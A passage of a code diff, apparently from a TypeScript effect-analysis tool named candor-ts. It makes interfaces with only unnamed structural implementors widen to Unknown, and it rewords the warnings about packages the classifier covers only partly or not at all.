7314
- if (!ifaceName || !implClasses.length) continue;
8292
+ // ⟨CARDINAL SIN FIX, structural-implementor gap⟩ `!implClasses.length` used to skip the arm outright
8293
+ // — correct when there are genuinely zero implementors, but an interface implemented ONLY
8294
+ // structurally (every implementor unnamed, `implClasses` empty, `hadUnnamed` true) would silently
8295
+ // publish NO union entry at all, which is a purity claim (SPEC §2 rule 3) this evidence does not
8296
+ // support. `hadUnnamed` keeps the arm alive for that case so the `broad` forcing below can widen it
8297
+ // to Unknown instead of the arm vanishing before `broad` is ever computed.
8298
+ if (!ifaceName || (!implClasses.length && !hadUnnamed)) continue;
7315
8299
  // Never guess which `I` a name means: two declarations of it, or a census that cannot prove there is
7316
8300
  // only one, are the same evidential position and take the same answer.
7317
8301
  if (ifaceNameCounts.get(ifaceName) > 1 || typings.truncated) continue;
@@ -7330,7 +8314,9 @@ if (process.env.CANDOR_WORKSPACE_CHAIN) {
7330
8314
  // key. What silence would cost is this report's own honesty — the producer's `deny E
7331
8315
  // Unknown[dispatch]`, any consumer without half 1's conjuncts, and the entry that is read as data
7332
8316
  // rather than joined. The named tests that fail on that mutation are the producer-side three.
7333
- const broad = implClasses.length > CHA_FANOUT_LIMIT;
8317
+ // `hadUnnamed` widens the same way: a structural implementor this union cannot name is exactly as
8318
+ // unaccountable as the (CHA_FANOUT_LIMIT + 1)th named one.
8319
+ const broad = implClasses.length > CHA_FANOUT_LIMIT || hadUnnamed;
7334
8320
 
7335
8321
  for (const member of ifaceDecl.members ?? []) {
7336
8322
  // Both spellings of an interface method (see the in-scan site): `run(): void` and
@@ -8270,8 +9256,13 @@ if (unlistedSeen.size > 0) {
8270
9256
  const top = uncoveredLedger; // ⟨0.15 staged⟩ the shared sorted ledger — same names/counts as envelope `coverage`
8271
9257
  const shown = top.slice(0, 8).map(([p, n]) => `${p} (${n} call${n === 1 ? "" : "s"})`).join(", ");
8272
9258
  const more = top.length > 8 ? ` + ${top.length - 8} more` : "";
8273
- console.error(`candor-ts: candor's classifier doesn't cover ${top.length} package${top.length === 1 ? "" : "s"} this code calls into — `
8274
- + `their effects are INVISIBLE to the scan (absent from the report, NOT a claim they're pure): ${shown}${more}`);
9259
+ // ⟨R137⟩ "or answers for only part of its surface": the ledger counts CALLS κ did not cover, and a
9260
+ // package may be partly classified (a member-precise rule) and still owe an answer for the rest.
9261
+ // Saying only "doesn't cover this package" would be the same package-granular overstatement that
9262
+ // switched the ledger off in the first place, in the opposite direction.
9263
+ console.error(`candor-ts: candor's classifier doesn't cover ${top.length} package${top.length === 1 ? "" : "s"} this code calls into `
9264
+ + `(or answers for only part of ${top.length === 1 ? "its" : "their"} surface) — the calls below are INVISIBLE `
9265
+ + `to the scan (absent from the report, NOT a claim they're pure): ${shown}${more}`);
8275
9266
  // SCAN-COMPLETENESS NUDGE. A scan that sees the app but none of its dependencies leaves those
8276
9267
  // dependencies' effects INVISIBLE (the ledger above) — a MISSING INPUT, not a precision defect, and the
8277
9268
  // two read identically in the report. Measured on the JVM engine against a real 18.7k-fn webapp: scanned
@@ -8313,8 +9304,8 @@ if (!wantJson) {
8313
9304
  // classifier does not cover (already enumerated above) beats a tsconfig guess, and a tsconfig this run
8314
9305
  // READ rules the tsconfig guess out entirely.
8315
9306
  const unresolvedCause = unlistedSeen.size > 0
8316
- ? `the ${uncoveredLedger.length} package${uncoveredLedger.length === 1 ? "" : "s"} named above are not `
8317
- + `covered by the classifier, so calls into them resolve to Unknown`
9307
+ ? `the calls into the ${uncoveredLedger.length} package${uncoveredLedger.length === 1 ? "" : "s"} named `
9308
+ + `above are not covered by the classifier, so they resolve to Unknown`
8318
9309
  : (usedTsconfig
8319
9310
  ? `this scan read ${path.relative(rootDir, usedTsconfig) || path.basename(usedTsconfig)}, so the `
8320
9311
  + `cause is unresolvable imports rather than a missing tsconfig`